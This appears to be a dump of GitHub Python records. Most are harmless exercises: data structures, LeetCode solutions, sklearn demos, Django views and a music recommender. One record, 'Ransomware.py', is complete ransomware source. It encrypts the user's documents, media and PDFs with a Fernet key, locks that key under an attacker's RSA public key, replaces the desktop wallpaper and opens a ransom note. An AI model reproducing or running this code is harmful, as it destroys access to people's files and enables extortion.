'[[{())}]'\n\nprint(balanced_str(string3))\n","repo_name":"grinal82/Stack_task","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11231924686","text":"class Nodes:\n def __init__(self,data):\n self.Data=data\n self.next=None\n\nclass LinkedList:\n def __init__(self):\n self.head=None\n\n def InsertNode(self,newNode):\n if self.head is None:\n self.head=newNode\n\n else:\n LastNode=self.head\n while LastNode.next is not None:\n LastNode=LastNode.next\n LastNode.next=newNode\n\n def displayLinkedList(self):\n currentNode=self.head\n while currentNode is not None:\n print(currentNode.Data,end=\" \")\n currentNode=currentNode.next\n print()\n\n\n def LengthOfLikedList(self):\n StartNode=self.head\n Length=0\n while StartNode is not None:\n StartNode=StartNode.next\n Length+=1\n return Length\n def Firstdeletion(self):\n FirstNode=self.head\n self.head=FirstNode.next\n del FirstNode\n\n\nlst=LinkedList()\n\ndata=input(\"Enter node's value:\").split()\nfor k in data:\n node=Nodes(k)\n lst.InsertNode(node)\n\nprint(\"The Linked List is:\",end=\" \")\nlst.displayLinkedList()\nprint()\n\n\nn=lst.LengthOfLikedList()\nfor k in range(n):\n if k<n-1:\n print(\"After 1st deletion:\", end=\" \")\n lst.Firstdeletion()\n lst.displayLinkedList()\n else:\n print(\"After 1st deletion: Empty\")\n\n","repo_name":"GolamRabbani20/PYTHON-A2Z","sub_path":"DATA_STRUCTURE_AND_ALGORITHMS/A-Linear_Data_Structure/B-Singly_LinkedList/FirstDeletion.py","file_name":"FirstDeletion.py","file_ext":"py","file_size_in_byte":1337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11861852615","text":"import sys\n\ndef swap(i, j, arr):\n temp = arr[i]\n arr[i] = arr[j]\n arr[j] = temp\n\nmy_arr = [5, 1, 7, 2, 6, 3]\nprint(my_arr) # before swap\n\ni,j = 3, 5\nswap(i, j, my_arr)\nprint(my_arr) # after swap\n","repo_name":"jimin0826/python-study","sub_path":"python-study/python_ref/BASICS/pr207.py","file_name":"pr207.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"1037177076","text":"'''\n Surrounded Regions\nGiven a 2D board containing 'X' and 'O' (the letter O), capture all regions surrounded by 'X'.\nA region is captured by flipping all 'O's into 'X's in that surrounded region.\n'''\n\nclass Solution:\n def __init__(self):\n self.seen = False\n\n def mark(self, board, i, j, rows, cols):\n if i<0 or i >rows-1 or j<0 or j >cols-1:\n return\n if board[i][j] == 'X':\n return\n \n board[i][j] = 'X'\n self.mark(board, i+1,j, rows, cols)\n self.mark(board, i-1,j, rows, cols)\n self.mark(board, i,j+1, rows, cols)\n self.mark(board, i,j-1, rows, cols)\n \n def dfs(self, board, i, j, rows, cols, visited):\n if i<0 or i >rows-1 or j<0 or j >cols-1:\n return\n if board[i][j] == 'X' or visited[i][j]:\n return\n if i <=0 or i>=rows-1 or j <=0 or j >= cols-1:\n self.seen = True\n visited[i][j]=True\n self.dfs(board, i-1,j,rows, cols, visited)\n self.dfs(board, i+1,j,rows, cols, visited)\n self.dfs(board, i,j-1,rows, cols, visited)\n self.dfs(board, i,j+1,rows, cols, visited)\n \n def solve(self, board: List[List[str]]) -> None:\n \"\"\"\n Do not return anything, modify board in-place instead.\n \"\"\"\n rows = len(board)\n if rows <= 1:\n return\n cols = len(board[0])\n if cols <= 1:\n return\n \n self.seen = False\n visited = [[False for _ in range(cols)] for _ in range(rows)]\n \n for i in range(1, rows-1):\n for j in range(1, cols-1):\n if board[i][j] == \"O\" and not visited[i][j]:\n self.seen = False\n self.dfs(board, i, j, rows, cols, visited)\n if not self.seen:\n self.mark(board, i, j, rows, cols)\n self.seen = True\n","repo_name":"mariiakornieva/algo-problems","sub_path":"Leetcode/06-2020-challenge/june-17-surrounded-regions.py","file_name":"june-17-surrounded-regions.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"40678536794","text":"class Solution:\n def sortColors(self, nums):\n colorCount = [0,0,0]\n for val in nums:\n colorCount[val] += 1\n nums.clear()\n for index in range(len(colorCount)):\n for _ in range(colorCount[index]):\n nums.append(index)\n\np = [0,1,2,0,1,2,0,1,2]\nSolution().sortColors(p)\nprint(p)","repo_name":"Qanora/leetcode","sub_path":"pySolution/sortColors.py","file_name":"sortColors.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"14964848384","text":"import mglearn as mglearn\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsRegressor\r\nx,y=mglearn.datasets.make_wave(n_samples=50)\r\nx_train,x_test,y_train,y_test=train_test_split(x,y,random_state=0)\r\nreg=KNeighborsRegressor(n_neighbors=3)\r\nreg.fit(x_train,y_train)\r\nKNeighborsRegressor(algorithm='auto',leaf_size=30,metric='minkowski',metric_params=None,n_jobs=1,n_neighbors=3,p=2,weights='uniform')\r\nreg.predict(x_test)\r\nreg.score(x_test,y_test)\r\nfig,axes=plt.subplots(1,3,figsize=(15,4))\r\nline=np.linspace(-3,3,1000).reshape(-1,1)\r\nplt.suptitle('Neighbour Regression')\r\nfor n_neighbours,axis in zip([1,3,9],axes):\r\n reg=KNeighborsRegressor(n_neighbors=n_neighbours).fit(x,y)\r\n axis.plot(x,y,'o')\r\n axis.plot(x,-3*np.ones(len(x)),'o')\r\n axis.plot(line,reg.predict(line))\r\n axis.set_title('%d neighbours'%n_neighbours)\r\nplt.show()","repo_name":"humanoiA/Python-ML-Sessions","sub_path":"data5.py","file_name":"data5.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9125030544","text":"from django.shortcuts import render,redirect\nfrom django.shortcuts import get_object_or_404\nfrom .forms import RegisterForm,UserUpdatForm,ProfileUpdate\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom .models import Profile\n\n# Create your views here.\ndef register(request):\n if request.method =='POST':\n form=RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n print('Correct')\n request.user.profile=Profile()\n return redirect('login')\n print('Rewrite')\n else:\n form=RegisterForm()\n return render(request,'registration/registration.html',{'form':form})\n\n\n@login_required\ndef profile(request):\n if request.method == 'POST':\n u_form=UserUpdatForm(request.POST,instance=request.user)\n try:\n p_form=ProfileUpdate(request.POST,instance=request.user.profile)\n except:\n p_form=ProfileUpdate(request.POST)\n if u_form.is_valid() and p_form.is_valid():\n u_form.save()\n p_form.save()\n message='Your account has been updated!'\n return render(request,'registration/profile.html',{'message':message,'p':p_form})\n\n u_form=UserUpdatForm(instance=request.user)\n print(\"GG\")\n print(request.user)\n #if(request.user.profile==None):\n try: \n request.user.profile\n except:\n request.user.profile=Profile()\n p_form=ProfileUpdate(instance=request.user.profile)\n #p_form=ProfileUpdate()\n context= {\n 'u': u_form,\n 'p':p_form\n }\n #print(context['u'])\n return render(request,'registration/profile.html',context=context)","repo_name":"Preetesh21/ShareApp","sub_path":"Django/registration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41313618972","text":"import math\nimport numpy as np\n\ndef get_changes(arr, start, end, change):\n changes = 0\n for i in range(start, end, change):\n changes += abs(arr[i] - arr[(i+change)])\n\n return changes\n\n\ndef calc_pump_changes(arr1, arr2, last_pas_val, length):\n changes = abs(arr1[0] - last_pas_val)\n changes += get_changes(arr1, 0, length-1,1)\n changes += abs(arr1[length-1] - arr2[0])\n changes += get_changes(arr2, 0, length-1,1)\n\n return changes\n\n\ndef run_controlled_inflation(case_num):\n num_of_changes = 0\n last_pascal_val = 0\n (num_of_customers, num_of_items) = tuple(map(int, input().split(' ')))\n\n curr_customer = None\n next_customer = None\n\n for i in range(0, math.floor(num_of_customers/2)):\n curr_customer = list(map(int, input().split(' ')))\n next_customer = list(map(int, input().split(' ')))\n curr_customer = np.sort(curr_customer)\n next_customer = np.sort(next_customer)\n\n smallest_change = math.inf\n\n ff_changes = calc_pump_changes(curr_customer, next_customer, last_pascal_val, num_of_items)\n fb_changes = calc_pump_changes(curr_customer, np.flip(next_customer), last_pascal_val, num_of_items)\n bf_changes = calc_pump_changes(np.flip(curr_customer), next_customer, last_pascal_val, num_of_items)\n bb_changes = calc_pump_changes(np.flip(curr_customer), np.flip(next_customer), last_pascal_val, num_of_items)\n\n if ff_changes < smallest_change:\n smallest_change = ff_changes\n last_pascal_val = next_customer[num_of_items-1]\n\n if fb_changes < smallest_change:\n smallest_change = fb_changes\n last_pascal_val = next_customer[0]\n\n if bf_changes < smallest_change:\n smallest_change = bf_changes\n last_pascal_val = next_customer[num_of_items-1]\n\n if bb_changes < smallest_change:\n smallest_change = bb_changes\n last_pascal_val = next_customer[0]\n\n num_of_changes += smallest_change\n\n if num_of_customers % 2 != 0:\n last_customer = list(map(int, input().split(' ')))\n forward_changes = abs(last_customer[0] - last_pascal_val)\n back_changes = abs(last_customer[num_of_items-1] - last_pascal_val)\n\n forward_changes += get_changes(last_customer,0,num_of_items-1,1)\n back_changes += get_changes(np.flip(last_customer),0,num_of_items-1,1)\n\n if forward_changes < back_changes:\n num_of_changes += forward_changes\n else:\n num_of_changes += back_changes\n\n print(f\"Case #{case_num}: {num_of_changes}\")\n\n\nnum_cases = int(input())\nfor i in range(num_cases):\n run_controlled_inflation(i+1)\n","repo_name":"eli-fridlender/Google-Coding-Challenges","sub_path":"Google-CodeJam-2022/Round_1B/controlled_inflation.py","file_name":"controlled_inflation.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11339158843","text":"#encoding=utf-8\nimport web\n\nfrom pycms.template.model import *\nfrom pycms.db.util import populate\n\n\n#-------------------------------\n# template persistent method\n#-------------------------------\ndef get_templates():\n return web.ctx.orm.query(Template).all()\n\ndef get_template(id):\n return web.ctx.orm.query(Template).get(id)\n\ndef save_template(id, data):\n if id == -1:\n template = Template()\n else:\n template = get_template(id)\n\n populate(template, data, Template)\n\n if id == -1:\n web.ctx.orm.add(template)\n else:\n web.ctx.orm.flush()\n web.ctx.orm.commit()\n\ndef del_template(id):\n template = get_template(id)\n web.ctx.orm.delete(template)\n web.ctx.orm.commit()\n\n","repo_name":"leonyuan/pycms","sub_path":"template/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"69"} +{"seq_id":"74215442461","text":"import turtle\r\nimport random\r\n\r\nc=0\r\nkk=1\r\nn=int(input(\"Enter size : \"))\r\n\r\nwin = turtle.Screen()\r\nwin.title(\"Parking Lot KIIT\")\r\nwin.bgcolor(\"light blue\")\r\nwin.setup(width=800, height=600)\r\nwin.tracer(0)\r\n\r\npen = turtle.Turtle()\r\npen.speed(0)\r\npen.color(\"blue\")\r\npen.penup()\r\npen.hideturtle()\r\npen.goto(-50, -100)\r\n\r\nar=[]\r\nfor i in range(n):\r\n ar.append(0)\r\ndef ci():\r\n m=0\r\n for i in range(n):\r\n if int(ar[i])==0:\r\n ar[i]=1\r\n m=i\r\n break\r\n c=m\r\n display()\r\n pen.pendown()\r\n pen.write(\"Came in: {}\".format(c), align=\"center\", font=(\"Segoe UI Semibold\", 24, \"italic\"))\r\n\r\n\r\n\r\n\r\n return c\r\n\r\n\r\n\r\ndef go(i):\r\n if ar[i] == 0 and i !=0:\r\n i=i-1\r\n ar[i]=0\r\n display()\r\n pen.pendown()\r\n\r\n\r\n pen.write(\"Went out: {}\".format(i), align=\"center\", font=(\"Segoe UI Semibold\", 24, \"italic\"))\r\n\r\n\r\n\r\n\r\n\r\ndef check(i):\r\n if int(ar[i])==0:\r\n return 0\r\n else:\r\n return 1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef display():\r\n\r\n\r\n\r\n lots = turtle.Turtle()\r\n lots.width(50)\r\n lots.hideturtle()\r\n lots.speed(0)\r\n lots.shape(\"circle\")\r\n lots.shapesize(stretch_wid=5, stretch_len=5)\r\n lots.penup()\r\n lots.goto(-400, 0)\r\n lots.pendown()\r\n for i in range(n):\r\n if int(check(i))==0:\r\n lots.color(\"yellow\")\r\n elif int(check(i))==1:\r\n lots.color(\"red\")\r\n if i==0:\r\n lots.color(\"red\")\r\n lots.penup()\r\n lots.forward(50)\r\n lots.speed(0)\r\n lots.pendown()\r\n lots.forward(5)\r\n\r\n\r\n\r\n '''for i in range(n):\r\n lot[i]=turtle.Turtle()\r\n lot[i].penup()\r\n lot[i].speed(0)\r\n lot[i].goto(0,0)\r\n lot[i].pendown()\r\n lot[i].forward(10)'''\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nk=1\r\nfor i in range(80000):\r\n k=k*-1\r\n\r\nwhile True:\r\n if ar[n-1]==1:\r\n break\r\n win.clear()\r\n win.title(\"Parking Lot KIIT\")\r\n win.bgcolor(\"light blue\")\r\n win.setup(width=800, height=600)\r\n win.update()\r\n x=random.randint(1,2)\r\n\r\n if x==1:\r\n xx=ci()\r\n pen.pendown()\r\n pen.write(\"Came in: {}\".format(xx), align=\"center\", font=(\"Segoe UI Semibold\", 24, \"italic\"))\r\n\r\n else:\r\n s=random.randint(0,xx)\r\n go(s)\r\n pen.pendown()\r\n pen.write(\"Went out: {}\".format(s), align=\"center\", font=(\"Segoe UI Semibold\", 24, \"italic\"))\r\n\r\nturtle.mainloop()\r\nturtle.done()\r\n\r\n\r\n","repo_name":"hamdan-codes/python-basic-programs","sub_path":"qhack.py","file_name":"qhack.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"25696810571","text":"#!/usr/bin/python3\nfrom cryptography.fernet import Fernet # Encrypt/Decrypt files on target\nimport os # Get System root\nimport webbrowser # Load User's Browser\nimport ctypes # Call DLLs or Shared libaraies\nimport subprocess # to open up notepad \nimport threading # For Multi threading\nimport platform # Checking Platform\nimport urllib.request\nimport requests\nfrom time import sleep\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Random import get_random_bytes\nfrom Crypto.Cipher import AES,PKCS1_OAEP # PKCS#1 OAEP is an asymmetric cipher based on RSA and the OAEP padding\n\ndef getOS():\n\n\t#Get OS Information\n\tvictim_os=platform.system()\n\tprint(f\"[+] Victim Is Running A {victim_os} Environment\")\n\tif victim_os=='Windows':\n\t\treturn 0\n\telif victim_os=='Linux':\n\t\treturn 1\n\telse :\n\t\treturn -1\n\nclass Ransomware:\n\n\tfile_exts=['txt','mp4','pdf','png'] # Types of files to encrypt\n\n\tdef __init__(self):\n\n\t\t#Initialize Variables\n\t\tself.os_int=getOS()\n\t\tself.key=None\n\t\tself.crypter=None\n\t\tself.public_key=None\n\t\tself.sysRoot = os.path.expanduser('~') #H ome Directory Of Current User\n\t\tself.localRoot = os.path.dirname(os.path.abspath(__file__)) # Path Of Directory Where Program is Placed\n\t\tself.PublicIP = requests.get('https://api.ipify.org').text # Check For Gov/Military IPs\n\t\tprint(f\"[+] System Root Found At : {self.sysRoot}\")\n\t\tprint(f\"[+] Local Root Found At : {self.localRoot}\")\n\t\tprint(f\"[+] Public IP Of Victim : {self.PublicIP}\")\n\n\tdef generate_key(self):\n\n\t\t#Generate Fernet Key and Create Fernet Object\n\t\tself.key = Fernet.generate_key() # Generate Symmetric Fernet Key To Encrypt/Decrypt Files\n\t\tprint(f\"[+] Generated Fernet Key As : {self.key}\") \n\t\tself.crypter = Fernet(self.key) # Create Fernet Object\n\t\tprint(f\"[+] Created Crypter As : {self.crypter}\")\n\n\tdef write_key(self):\n\n\t\t# Write Key To A Local Text File\n\t\twith open('fernet_key.txt','wb') as f:\n\t\t\tf.write(self.key)\n\t\tprint(\"[+] Wrote Fernet Key Into : fernet_key.txt\") \n\t\n\tdef encrypt_fernet_key(self):\n\n\t\t# Encrypt Fernet Key With Public Key Of Attacker\n\t\twith open('fernet_key.txt','rb') as fk:\n\t\t\tfernet_key=fk.read() # Store Contents Of The File As A Backup\n\t\tprint(\"[+] Read Fernet Key From fernet_key.txt\")\n\n\t\twith open(\"fernet_key.txt\",'wb') as f:\n\t\t\tself.public_key=RSA.importKey(open('public.pem').read()) # Import RSA Public Key Of Attacker\n\t\t\tprint(f\"[+] Read Public Key From public.pem As {self.public_key}\")\n\t\t\tpublic_encryptor=PKCS1_OAEP.new(self.public_key) #Return a cipher object PKCS1OAEP_Cipher that can be used to perform PKCS#1 OAEP encryption or decryption\n\t\t\tenc_fernet_key=public_encryptor.encrypt(fernet_key) #encrypt fernet key with public key\n\t\t\tf.write(enc_fernet_key) # Write Out The Contents Of The Text File With Encrypted Text\n\t\tprint(\"[+] Encrypted fernet_key.txt With Attacker's Public RSA Key\")\n\t\t\n\t\twith open(f\"{self.sysRoot}/Desktop/EMAIL_ME.txt\",'wb') as fa :\n\t\t\tfa.write(enc_fernet_key)\n\t\tprint(f\"[+] Creted EMAIL_ME.txt at {self.sysRoot}/Desktop \")\n\n\t\t# Remove Any Data As Good Measure\n\t\tself.key=enc_fernet_key\n\t\tself.crypter=None \n\t\tprint(f\"[+] Nullified Key as {self.key}\")\n\t\tprint(f\"[+] Nullified Crypter Object as {self.crypter}\")\n\n\tdef crypt_file(self,file_path,encrypted=False):\n\t\t\n\t\t#Encrypt/Decrypt Files\n\t\twith open(file_path,'rb') as f : \n\t\t\tdata=f.read() # read Data from file\n\t\t\tprint(f\"[+] Crypter Object In Use : {self.crypter}\")\n\t\t\t# Encrypt Data\n\t\t\tif not encrypted :\n\t\t\t\tprint(f\"{file_path} is Being Encrypted \")\n\t\t\t\t_data=self.crypter.encrypt(data)\n\t\t\t\tprint(f\"{file_path} Has Been Encrypted \")\n\n\t\t\t# Decrypt Data\n\t\t\telse :\n\t\t\t\tprint(f\"{file_path} is Being Decrypted \")\n\t\t\t\t_data=self.crypter.decrypt(data)\n\t\t\t\tprint(f\"{file_path} Has Been Decrypted \")\n\n\t\twith open(file_path,'wb') as fp :\n\t\t\tfp.write(_data)\n\n\tdef crypt_system(self,encrypted=False):\n\n\t\t#List All Files in the system\n\t\tsystem= os.walk(self.localRoot,topdown=True) # Can be Changed to sys.sysRoot\n\t\tfor root,dir,files in system :\n\t\t\tfor file in files :\n\t\t\t\tfile_path=os.path.join(root, file)\n\t\t\t\tif not file.split('.')[-1] in self.file_exts:\n\t\t\t\t\tcontinue\n\t\t\t\tif file == 'RANSOM_NOTE.txt' or file == \"fernet_key.txt\":\n\t\t\t\t\tcontinue\n\t\t\t\tif not encrypted:\n\t\t\t\t\tself.crypt_file(file_path)\n\t\t\t\telse :\n\t\t\t\t\tself.crypt_file(file_path,encrypted=True)\n\n\t@staticmethod\n\tdef whokilleddb_github(): \n\n\t\t# Open Browser Window\n\t\turl = \"https://github.com/whokilleddb\" #Change It To A Payment Gateway Maybe ?\n\t\twebbrowser.open(url)\n\n\tdef change_desktop_background(self):\n\n\t\t# Change Desktop Background\n\t\tif self.os_int == 0 :\n\t\t\timageURL = \"https://i.imgur.com/lCW3YGu.jpg\"\n\t\t\tpath=f\"{self.sysRoot}\\\\Desktop\\\\Background.jpg\"\n\t\t\turllib.request.urlretrieve(imageURL,path)\n\n\t\t\tSPI_SETDESKWALLPAPER = 20 # 0x14 (Desktop Parameter as Set By Win32 API)\n\t\t\t\n\t\t\t# The Actual Defination of the C Function as Defined Under SystemParametersInfoW has the following defination\n\t\t\t# private static extern bool SystemParametersInfoW(uint uiAction, uint uiParam, string pvParam, uint fWinIni);\n\t\t\t# uiAction = SPI_SETDESKWALLPAPER = 20\n\t\t\t# uiParam remains 0 when changing wallpaper \n\t\t\t# pvParam contains file path\n\t\t\t# fWinIni determines how the change is written to user profile and whether a message should be sent to other windows to notify them of the update.\n\t\t\tctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER,0,path,0) # For 32 bit Windows, use SystemParametersInfoA\n\n\tdef ransom_note(self):\n\n\t\t#Prompt Note To Victim\n\t\tnote=f\"Your Files Have Been Encrypted. Get The Full Code At https://github.com/whokilleddb. Also Send {self.sysRoot}/Desktop/EMAIL_ME.txt to the Attacker\"\n\n\t\twith open('RANSOM_NOTE.txt','w') as f:\n\t\t\tf.write(note)\n\n\t\tif self.os_int ==0 :\n\t\t\transom = subprocess.Popen(['notepad.exe','RANSOM_NOTE.txt'])\n\n\tdef put_me_on_desktop(self) :\n\t\t#Check if key exists on Desktop\n\t\tflag=True\n\t\twhile flag :\n\t\t\ttry :\n\t\t\t\twith open(f\"{self.sysRoot}/Desktop/PUT_ME_ON_DESKTOP.txt\",'r') as f:\n\t\t\t\t\tself.key= f.read()\n\t\t\t\t\tprint(f\"[+] Read Key From {self.sysRoot}/Desktop/PUT_ME_ON_DESKTOP.txt As {self.key}\")\n\t\t\t\t\tself.crypter=Fernet(self.key)\n\t\t\t\t\tprint(f\"[+] New Cryptor Object Created As : {self.crypter}\")\n\t\t\t\t\tself.crypt_system(encrypted=True)\n\t\t\t\t\tflag=False\n\t\t\texcept Exception as e:\n\t\t\t\tprint(f\"[-] Exception Rose As : \\n{e}\")\n\t\t\t\tpass\n\t\t\tsleep(10)\n\nif __name__ == '__main__':\n\n\trw = Ransomware()\n\trw.generate_key()\n\trw.crypt_system()\n\trw.write_key()\n\trw.encrypt_fernet_key()\n\trw.change_desktop_background()\n\trw.whokilleddb_github()\n\n\tt1 = threading.Thread(target=rw.ransom_note)\n\tt2 = threading.Thread(target=rw.put_me_on_desktop)\n\n\tt1.start()\n\tprint(\" > Target Encrypted\")\n\tt2.start()\n\tprint(\" > Attack Completed\")\n","repo_name":"whokilleddb/Ransomware-in-Python","sub_path":"Ransomware.py","file_name":"Ransomware.py","file_ext":"py","file_size_in_byte":6621,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"24117328596","text":"import os\r\nfrom dotenv import load_dotenv,find_dotenv\r\nimport requests\r\ntoneWithTagMap={\r\n 'Joy':'joy',\r\n 'Sadness':'motivational',\r\n 'Analytical':'instrumental',\r\n 'Anger':'chillout',\r\n 'Fear':'motivational',\r\n 'Confident':'rock',\r\n 'Tentative':'acoustic',\r\n 'Neutral':'experimental',\r\n \" \":\"rock\"\r\n}\r\nload_dotenv(find_dotenv())\r\ndef recommendsongs(tone=\"Neutral\"):\r\n i=1\r\n d={}\r\n tag=toneWithTagMap[tone]\r\n params={\r\n 'api_key':os.environ.get(\"API_KEY\"),\r\n 'limit':5,\r\n 'method':'tag.getTopTracks',\r\n 'tag':tag,\r\n 'format':'json'\r\n }\r\n res = requests.post('http://ws.audioscrobbler.com/2.0', params=params)\r\n songs={}\r\n for val in res.json()['tracks']['track']:\r\n songs[val['name']]=[val['url'],val['artist']['name']]\r\n \r\n for key in songs:\r\n d[\"song\"+str(i)]=key\r\n d[\"link\"+str(i)]=songs[key][0]\r\n i+=1\r\n d[\"rec\"]=1\r\n return d\r\n \r\n\r\n\r\n ","repo_name":"MounikaGitRepo/EBotSongRecommenderSystemProj","sub_path":"EBotProject/recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39538552584","text":"# 实验二主要进行的是依据TraceType进行泛化性能的预测\n# 将数据平均分成十份,将最后一份作为测试集合。\n# 依次增量添加训练集,测试泛化性\nimport pandas as pd\nfrom pandas import DataFrame\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import KFold\nimport preprocessing_set\nimport multi_label_model\n\ndata_total_list = [\n \"evaluation_2/evaluation_total_part0.csv\",\n \"evaluation_2/evaluation_total_part1.csv\",\n \"evaluation_2/evaluation_total_part2.csv\",\n \"evaluation_2/evaluation_total_part3.csv\",\n \"evaluation_2/evaluation_total_part4.csv\",\n \"evaluation_2/evaluation_total_part5.csv\",\n \"evaluation_2/evaluation_total_part6.csv\",\n \"evaluation_2/evaluation_total_part7.csv\",\n \"evaluation_2/evaluation_total_part8.csv\",\n \"evaluation_2/evaluation_total_part9.csv\"\n]\n\n\ndata_fault_list = [\n \"evaluation_2/evaluation_fault_part0.csv\",\n \"evaluation_2/evaluation_fault_part1.csv\",\n \"evaluation_2/evaluation_fault_part2.csv\",\n \"evaluation_2/evaluation_fault_part3.csv\",\n \"evaluation_2/evaluation_fault_part4.csv\",\n \"evaluation_2/evaluation_fault_part5.csv\",\n \"evaluation_2/evaluation_fault_part6.csv\",\n \"evaluation_2/evaluation_fault_part7.csv\",\n \"evaluation_2/evaluation_fault_part8.csv\",\n \"evaluation_2/evaluation_fault_part9.csv\"\n]\n\n\n# 这里只负责数据拆分,需要提前处理好某些属性的删除问题\ndef split_data_to_10_parts(df: DataFrame, file_list):\n fds = KFold(n_splits=10, shuffle=True)\n part_index = 0\n for train_raw_indices, test_raw_indices in fds.split(df):\n test_raw = df.iloc[test_raw_indices]\n file_name = file_list[part_index]\n test_raw.to_csv(file_name)\n part_index = part_index + 1\n print(\"完成\", file_name, \"数量\", len(test_raw_indices))\n print(\"数据拆分完成\")\n\n\ndef calculate(y_real, y_pred):\n\n TP = 1 # 预测为正,实际为正\n FP = 1 # 预测为正,实际为负\n TN = 1 # 预测为负,实际为负\n FN = 1 # 预测为负,实际为正\n for j in range(len(y_real)):\n if y_real[j] == 1 and y_pred[j] == 1:\n TP += 1\n elif y_real[j] == 0 and y_pred[j] == 1:\n FP += 1\n elif y_real[j] == 0 and y_pred[j] == 0:\n TN += 1\n else:\n FN += 1\n print(TP, FP, TN, FN)\n precision = TP / (TP + FP)\n recall = TP / (TP + FN)\n fpr = FP / (FP + TN)\n F1 = (2 * precision * recall) / (precision + recall)\n print(\"Recall\", recall, \"Precision\", precision, \"F1\", F1, \"FPR\", fpr)\n return precision, recall, F1\n\n\n# 在使用前需要注意准备好数据\ndef calculate_parts(n_parts, file_list, y_name):\n # df_train = pd.read_csv(file_list[0], header=0, index_col=0)\n df_test = pd.read_csv(file_list[9], header=0, index_col=0)\n\n print(len(df_test.loc[df_test[\"y_final_result\"] == 1]))\n\n print(len(df_test))\n\n # i = 0\n # while i < n_parts:\n # df_train_new = pd.read_csv(file_list[i], header=0, index_col=0)\n # df_train = preprocessing_set.append_data(df_train, df_train_new)\n # i += 1\n # print(\"================Part\", n_parts)\n #\n # train = df_train\n # train = preprocessing_set.sampling(train, \"y_final_result\")\n # x, y = train, train.pop(\"y_final_result\")\n # # clf = RandomForestClassifier(min_samples_leaf=900, n_estimators=15)\n # clf = RandomForestClassifier(min_samples_leaf=10, n_estimators=250)\n #\n # clf.fit(x, y)\n #\n # test = df_test\n # # test = preprocessing_set.sampling(test, \"y_final_result\")\n # real_x, real_y = test, test.pop(\"y_final_result\")\n #\n # pred_y = clf.predict(real_x)\n #\n # print()\n # print(pred_y)\n\n\n # calculate(real_y.values, pred_y)\n\n # p, r, f1 = multi_label_model.rf_multi_label_provided_train_test_given_params(\n # df_train=df_train,\n # df_test=df_test,\n # y_name=y_name,\n # n_estimators=15,\n # min_samples_leaf=500\n # )\n\n\n # print(\"Precision:\", p, \"Recall\", r, \"F1\", f1)\n # if y_name.endswith(\"_final_result\"):\n # accuracy, recall, precision = multi_label_model.rf_multi_label_provided_train_test_given_params(\n # df_train=df_train,\n # df_test=df_test,\n # y_name=y_name,\n # n_estimators=3,\n # min_samples_leaf=2000\n # )\n # F = (2 * precision * recall) / (precision + recall)\n # print(\"目标类型\", y_name, \"比例:\", str((n_parts+1)/10.0),\n # \"Accuracy:\", accuracy, \"Recall:\", recall, \"Precision:\", precision)\n # print(\"F值:\" + str(F))\n # else:\n # accuracy = multi_label_model.rf_multi_label_provided_train_test_given_params(\n # df_train=df_train,\n # df_test=df_test,\n # y_name=y_name,\n # n_estimators=10,\n # min_samples_leaf=600\n # )\n # print(\"目标类型\", y_name, \"比例:\", str((n_parts+1)/10.0), \"Accuracy:\", accuracy)\n\n\nif __name__ == \"__main__\":\n # df = pd.read_csv(\"ready_use_max_final_result.csv\", header=0, index_col=\"trace_id\")\n # df.pop(\"y_issue_dim_type\")\n # df.pop(\"y_issue_ms\")\n # # df.pop(\"trace_api\")\n # # df.pop(\"trace_service\")\n # df = df.loc[(df[\"y_final_result\"] == 0) | (df[\"y_final_result\"] == 1)]\n # # df = preprocessing_set.sampling(df, \"y_final_result\")\n # split_data_to_10_parts(df, data_total_list)\n for i in range(0, 9):\n calculate_parts(i, data_total_list, \"y_final_result\")\n #\n # df = pd.read_csv(\"fault_without_sampling.csv\", header=0, index_col=\"trace_id\")\n # # df.pop(\"y_issue_dim_type\")\n # df.pop(\"y_issue_ms\")\n # df.pop(\"y_final_result\")\n # df.pop(\"trace_api\")\n # df.pop(\"trace_service\")\n # # df = preprocessing_set.sampling(df, \"y_issue_dim_type\")\n # split_data_to_10_parts(df, data_fault_list)\n # for i in range(0, 9):\n # calculate_parts(i, data_fault_list, 